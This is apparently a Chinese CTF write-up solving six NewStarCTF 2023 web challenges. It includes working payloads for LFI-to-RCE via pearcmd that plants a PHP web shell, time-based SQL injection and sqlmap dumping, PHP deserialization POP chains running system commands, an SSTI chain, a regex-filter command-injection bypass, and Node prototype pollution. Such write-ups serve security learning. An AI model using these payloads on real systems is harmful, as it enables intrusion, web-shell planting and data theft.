目录
1、Include
2、medium_sql
3、POP Gadget
4、GenShin
5、R!!!C!!!E!!!
6、OtenkiGirl
提示了LFI to RCE,搜相关资料可知
payoad:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/=eval($_POST[1]);?>+/var/www/html/a.php
然后使用蚁剑链接
因为sqlmap跑不出来显示无参数可注入,所以手工注入,无回显采用了时间注入
当传入的ID的参数为and 1=1时,执行的语句为
原本的语句为:select * from users where id='TMP0929'
试到对关键词大小写不敏感
899c0659-0a5a-4123-adff-e1bb16ed1fc6.node4.buuoj.cn:81/?id=TMP0929' AND 1='1
因为1=1为真,且where语句中id=TMP0929也为真,所以页面返回id=TMP0929相同的结果(即物理那个页面)。当传入ID参数为' AND 1='2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果
数据库长度为3
?id=TMP0919' AND if((length(database()))=3,sleEp(5),1)%20 %23
库名ctf
?id=TMP0919' AND if((subsTr(database(),3,1)='f'),sleEp(5),1)%20 %23
只有一个表
?id=TMP0919' AND if((seLect coUnt(*) frOm infOrmAtion_schEma.tAbles whEre tAble_schEma='cTf')=1,sleEp(2),1)%20 %23
表长度为12:
?id=TMP0919' AND if((selEct length((selEct tabLe_nAme from infOrmation_schEma.tAbles wheRe table_schEma='ctf' limit 1,1))=12),sleEp(1),1)%20 %23
表第一个字母为h:
?id=TMP11503' AND if((selEct ascIi(sUbstr((seLect tablE_name frOm infOrmation_scheMa.tAbles whEre Table_scHema='ctf' limit 1,1),1,1)))=104,sleEp(1),1)%20 %23
我服了时间注入恶心死了,一直尝试下去它也是能出出来的,有感兴趣的自己试,我还是去改装一下sqlmap吧
需要加上--temper level和risk都拉满,得到表名为here_is_flag,列名为flag
sqlmap一开始返回的内容是截断的:
sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump
整这死出
所以还要加上--sql-shell,进行一个交互(--os-shell应该也行)
sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump --sql-shell
在交互那一行不断更改数字,自己拼接flag:
sql-shell> SELECT SUBSTR(flag, 1) FROM here_is_flag;
这个命令使用 SUBSTRING
函数从 flag
列中截取第1个字符及其后的内容,以获取完整的 flag 数据
题目代码如下
name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
($this->func)($this->var)
将 $this->var
作为参数传递给保存在 $this->func
变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。
pop链如下:
func=$s;
}
public function __toString(){
($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj=new CTF();//实例化CTF()后给这里的obj赋值
}
public function __call($func, $vars)
{
$this->obj->end();//调用了CTF()里的end()方法
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();//为protected $obj赋值
}
public function __invoke()
{
$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function __construct()
{
$w=new WhiteGod();
$this->handle=$w;
}
public function end()
{
unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
}
}
class WhiteGod{
public $func='system';
public $var="cat /flag";
public function __unset($var)
{
($this->func)($this->var);
}
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b));
需要特别注意的是在执行 unset($this->handle->log)
时,会尝试调用 $this->handle
对象的 __unset()
魔术方法。该方法将使用属性 $this->func
的值作为可调用函数,并将属性 $this->var
的值作为参数来执行。
因此,在 WhiteGod
类中调用 unset($this->handle->log)
将实际上执行 ($this->func)($this->var)
,相当于执行 system('ls /')
,即执行系统命令 ls /
整体来说是:
__destruct()
中,由于 $name
包含一个 Then
对象,会触发 __toString()
魔术方法。在 __toString()
方法中,首先调用 $this->func
属性指向的对象(即 Super
对象),接下来进入 Super
类,由于该类含有一个 __invoke()
魔术方法,因此在调用 Super
对象时会触发 __invoke()
方法。在 __invoke()
方法中,又会调用 $this->obj->getStr()
方法,并进入 Handle
类中。
由于 Handle
类没有定义 getStr()
方法,因此在调用这个方法时会触发 __call()
魔术方法。在 __call()
方法中,将会调用 $this->obj->end()
方法,并触发 CTF
类中的 end()
方法。
在 CTF
类的 end()
方法中,我们会调用 unset($this->handle->log)
,从而触发 WhiteGod
类的 __unset()
魔术方法。在 __unset()
方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。
payload:
pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
dirsearch扫描出console文件,访问可以进入到登录页面要求输入pin,随便输了123,抓包发现包返回有{"auth": false, "exhausted": false} ,根据英文意思,auth是身份验证,exhausted是耗尽这里应该表示尝试次数是否已经达到上限。当值为 true
时,认证次数已经用尽
爆破密码发现后面返回包是{"auth": false, "exhausted": ture} 。所以我修改返回包为{"auth": ture, "exhausted": false},但是没什么用,然后我改返回包改成{"auth": 1, "exhausted": 0}进入控制台
到这里就不会了,以为genshin会是什么关键提示结果这个东西就只是原神,而且一开始方向也错了,后面看了别人wp才知道怎么个事^~^
https://blog.csdn.net/m0_63138919/article/details/133958661?spm=1001.2014.3001.5502
我们能看见pop /secr3tofpop 猜测这是个文件^~^
进行访问来到一个新页面要求我们传name值,这里就是看出是ssti类的题目了,后面的内容上面的链接和里面的拓展已经解释的很清楚了
payload:
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}
题目如下:
|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
这里最麻烦的地方是最终无论如何都会return alright,而不是命令执行后的结果。
那么我们就可以采用和第一题差不多的思路让结果写入到html目录下的一个文件,然后我们再去访问这个文件逐步得到flag
首先构造pop链:
qwejaskdjnlka=$a;
echo serialize($a);
exec()执行系统命令ls /查询根目录,te"e /var/www/html/2,双引号绕过preg_match命令照样能执行,tee的作用是把查询到的根目录写入到当前网页下的文件2,我们再次访问文件2即可得到被打印的根目录
这里我们就能知道flag在哪个文件,再读取flag写进一个新文件,payload最终如下:
payload=O:7:"minipop":2:{s:4:"code";s:43:"cat /flag_is_h3eeere |te''e /var/www/html/1";s:13:"qwejaskdjnlka";r:1;}
访问1
js原型链污染可以导致未经授权的修改和访问JavaScript对象的属性和方法。它的发生是由于JS语言中原型继承的特性。在JavaScript中,每个对象都有一个原型(prototype),原型链是一种用于实现继承和属性访问的机制。每个对象都有一个指向其原型的内部链接。当查找对象的属性时,如果该对象本身没有该属性,JavaScript引擎会沿着原型链向上查找,直到找到属性或到达原型链的末端。
接下来解释一下js的继承机制,JavaScript中的原型链继承是一种对象之间共享属性和方法的机制。每个JavaScript对象都有一个指向其原型(prototype)对象的链接,通过这个链接可以实现属性和方法的继承。
当我们访问一个对象的属性或方法时,如果该对象本身没有定义该属性或方法,JavaScript引擎会自动在原型对象中查找。如果原型对象中也不存在,则继续在原型链上的上层原型对象中查找,直到找到该属性或方法或达到原型链的顶端为止。
以下是原型链继承的基本工作原理:
[[Prototype]]
,它指向该对象的原型对象。[[Prototype]]
设置为构造函数的 prototype
属性的值。null
)为止。undefined
。举个例子A有苹果雪梨,B有苹果,C有西瓜,ABC是一个原型链,这个原型链的继承机制相当于你找C要苹果雪梨,C没有去看B,B有苹果没有雪梨,在往上找A,A有雪梨,所以虽然C没有苹果雪梨,但是找C要C还是能从AB那里扣出来苹果雪梨给你,如果ABC都没有才是真没有。
原型链污染是利用了原型链查找的机制来进行恶意修改。攻击者可以通过篡改JavaScript中的原型对象,将恶意代码注入到原型中,当其他对象通过原型链继承了被污染的原型对象时,它们也会受到影响,从而导致意外的行为或数据泄露。
回到这道题目,我们下载zip文件,首先点开app.js:
const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const app = new Koa();
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})
module.exports = app;
1、在第四行const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");这表明引入了两个配置文件;
2、以下代码表明引入了 routes
文件夹下的两个文件:"info" 和 "submit":
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
这里使用了一个循环来遍历字符串数组 ["info", "submit"]
。对于数组中的每个元素 p
,利用 require
函数将位于 "./routes/" + p
的文件导入。这表示 routes
文件夹下的 info.js
和 submit.js
文件会被导入到代码中。然后使用 app.use
方法将导入的路由模块应用到 Koa 应用程序中,分别使用了 p.routes()
和 p.allowedMethods()
,表示使用路由模块的路由和允许的请求方法。
3、因此我们追踪到routes文件下的info.js和submit.js
info.js代码:
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,其意思是使用 CONFIG
变量中的 min_public_time
属性(如果存在),否则使用 DEFAULT_CONFIG
变量中的 min_public_time
属性。
4、我们继续追踪config文件和config.default文件,发现CONFIG
变量中没有min_public_time
属性,所以会使用DEFAULT_CONFIG
变量中的 min_public_time
属性。
config.default文件:
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}
我们这里可以原型链污染污染min_public_time
为更早的日期,尝试绕过这个日期限制。
5、查看submit.js文件:
内容很多,这里放关键代码:
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
我们注意到在第7行中,如果key
既存在于dst
对象中,又存在于src
对象中,则会递归调用merge
函数将它们合并,否则dst[key]
会被赋值为src[key]
。这意味着如果src
对象的原型链上存在名为'min_public_time'
的属性,则该属性将被赋值给dst
对象,那么dst[key]
将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__
,它指向对象的原型。通过修改data['__proto__']['min_public_time']
的值,我们可以影响原型链上的属性。
6、因此我们提交那个加入购物车抓包,然后改包在post请求体哪里改成:
{
"date":"1","place":"1",
"contact":"11","reason":"11",
"__proto__": {
"min_public_time":" 2018-01-01"
}
}
然后回到网页把cookie值会话储存都清空,刷新然后点进会话储存,复制wishes的值出来即可看到flag(不过吧,有个小问题就是后面第二次开靶场的时候用了同样的手法不成功,偷了几个别人wp里的payload用也不成功(O.o?))
如有错误欢迎指出!